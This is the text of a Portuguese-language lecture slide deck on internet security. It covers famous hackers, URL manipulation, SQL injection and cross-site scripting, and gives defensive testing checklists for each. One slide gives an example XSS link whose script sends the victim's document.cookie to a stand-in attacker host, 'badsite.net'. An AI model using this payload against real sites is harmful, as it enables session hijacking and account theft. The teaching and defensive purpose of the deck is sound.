Escolar Documentos
Profissional Documentos
Cultura Documentos
rterrabh@gmail.com
Ricardo Terra
Bacharel em Ciência da Computação – FUMEC
Pós-graduado em Análise de Sistemas – UFMG
Mestre em Informática – PUC Minas
Doutorando em Ciência da Computação – UFMG
Especializado em Java
SCJP
SCWCD
Professor
FUMEC
FAMINAS-BH
UNIPAC-CONTAGEM
Segurança da Internet 2
Segurança de Redes (Histórico)
Robert Tappan Morris
Primeiro worm (similar a um vírus, porém é um programa
completo, não precisa de um outro programa para se
propagar) da Internet
O programa principal consistia em menos de 100 linhas de
código em C
6.000 computadores infectados, só nos EUA, em 24 horas
Efeitos:
Infecção
Sobrecarga
Incapacitação
Atualmente
professor do MIT
Segurança da Internet 3
Segurança de Redes (Histórico)
Kevin Poulsen
primeiro grande hacker da Internet
Invadiu, entre outros,
a marinha americana
diversas Universidades, como UCLA
rádio americana KIIS-FM, 102º ligador e ganhava um
Porche 944 S2
A partir daí, criou-se a lei americana contra “invasões” em
redes
Trabalhou posteriormente
para o governo americano
Foi jornalista da SecurityFocus
e atualmente é editor sênior
da Wired News
Segurança da Internet 4
Segurança de Redes (Histórico)
Kevin Mitnick
O mais famoso
Foi preso e já foi solto
Invadiu
FBI
Universidades, etc
Seu ataque foi muito sofisticado e sem
“solução” até os dias
atuais
Utilizava práticas de
engenharia social
Atualmente proprietário
da Mitnick Security
Consulting
Segurança da Internet 5
Segurança de Redes (Histórico)
Mais sobre Kevin Mitnick
Dos 37 aos 40 anos foi proibido de acessar qualquer meio
de comunicação com exceção de telefone fixo
Liberdade condicional
Segurança da Internet 6
Teoria evolucionista de Darwin
Segurança da Internet 7
O que é?
Segurança da Internet 8
Quem geralmente é?
Segurança da Internet 9
Ataque às pessoas...
Segurança da Internet 10
Ataque às empresas...
Segurança da Internet 11
Os hackers...
Segurança da Internet 12
Atualmente nas grandes áreas
Database Security
Segurança da Internet 13
Atualmente nas grandes áreas
Network Security
Segurança da Internet 14
Atualmente nas grandes áreas
Application Security
Segurança da Internet 15
Atualmente nas grandes áreas
Web application Security
Segurança da Internet 16
Começando...
Segurança da Internet 17
Introdução
Os ataques a serviços de rede estão se tornando muito
sofisticados
criatividade humana
Segurança da Internet 18
Lendas
Não há problemas de segurança
Até que ela seja violada
Solução
Testes de penetração. São caros!!!
Segurança da Internet 19
Objetivos
Demonstrar alguns desses ataques
Além disso, temos que ter nossas armas para nos defender
Segurança da Internet 20
Ataques
URL Manipulation
SQL Injection
Segurança da Internet 21
Arquitetura TCP/IP
Segurança da Internet 22
URL Manipulation
O método GET do Protocolo HTTP requisita informações
importantes na URL
Portanto, os parâmetros podem ser manipulados para se
obter resultados satisfatórios ou, no mínimo, "interessantes"
O impacto é ALTO
Segurança da Internet 23
URL Manipulation
Segurança da Internet 24
URL Manipulation
Segurança da Internet 25
URL Manipulation
Alguns possíveis testes:
Verificar se algum parâmetro é passado via HTTP GET
Segurança da Internet 26
SQL Injection
A idéia é injetar um comando SQL ou algum comando como o
valor de entrada de algum campo de um formulário WEB
Segurança da Internet 27
SQL Injection
Causas:
Segurança da Internet 28
SQL Injection
Segurança da Internet 29
SQL Injection
Segurança da Internet 30
SQL Injection
Além disso, tem como:
Identificar campos de uma tabela
Verificar se a tabela existe
Procurar por usuários
Ataques de força bruta
Verificar permissões
Criar um usuário
Alterar dados
Determinar qual SGBD e a versão do SGBD
Interagir com o S.O.
Manipular informações da rede
Modificar o registro do Windows
Obter senha do VNC
Segurança da Internet 31
SQL Injection
Alguns testes:
Identifique os parâmetros, html e xml tags utilizados na
aplicação web
Substitua o conteúdo dos parâmetros por todos caracteres
utilizados em um ataque de injeção de SQL
Verifique que as queries foram substituídas por stored
procedures
Verificar se as mensagens de erro fornecem alguma
informação
Verifique que os usuários da aplicação web tem o menor
nível de acessibilidade possível no banco de dados
(continua...)
Segurança da Internet 32
SQL Injection
Verificar se todos os campos do formulário estão sendo
validados
Verificar se existe limite para uploads
Verificar que a aplicação não aceita: dados binários,
caracteres de comentário, etc
etc
Segurança da Internet 33
XSS Cross Site Scripting
É uma vulnerabilidade tipicamente encontrada em aplicações
web que permitem injeção de código por usuários maliciosos em
páginas vistas por outros usuários
Segurança da Internet 34
XSS Cross Site Scripting
Não existe a ligação entre o ID do login e o ID da sessão
Impacto é alto
Pois, o usuário malicioso tem TODOS os privilégios do
usuário autorizado
Segurança da Internet 35
XSS Cross Site Scripting
Segurança da Internet 36
XSS Cross Site Scripting
Um exemplo:
Pode se receber um e-mail com um link
http://www.mymail.com?search="<script>window.nav
igate("http://badsite.net/steal.asp?cookie="+doc
ument.cookie)</script>"
Segurança da Internet 37
XSS Cross Site Scripting
Solução:
Sempre valide a sessão com login e os parâmetros críticos
Como IP da máquina de origem e, até mesmo, o
endereço MAC da máquina do cliente
Alguns testes:
Verificar os posts disponíveis na aplicação
Verificar que as sessões são sempre verificadas
Verificar os cookies não provêem dados sensíveis
Verificar que não é possível executar outro script dentro da
aplicação
Segurança da Internet 38
Considerações Finais
Não há segurança de sistemas sem a conjunção de três fatores
Boas praticas de codificação
Metodologia adequada (projeto, arquitetura, etc)
Testes, testes e testes!!!
Segurança da Internet 39
Dúvidas?
Segurança da Internet 40
Obrigado!
Ricardo Terra
rterrabh@gmail.com
Segurança da Internet 41
Outras referências bibliográficas
http://en.wikipedia.org/wiki/Robert_Tappan_Morris.
http://en.wikipedia.org/wiki/Kevin_Poulsen
http://en.wikipedia.org/wiki/Kevin_Mitnick
Segurança da Internet 42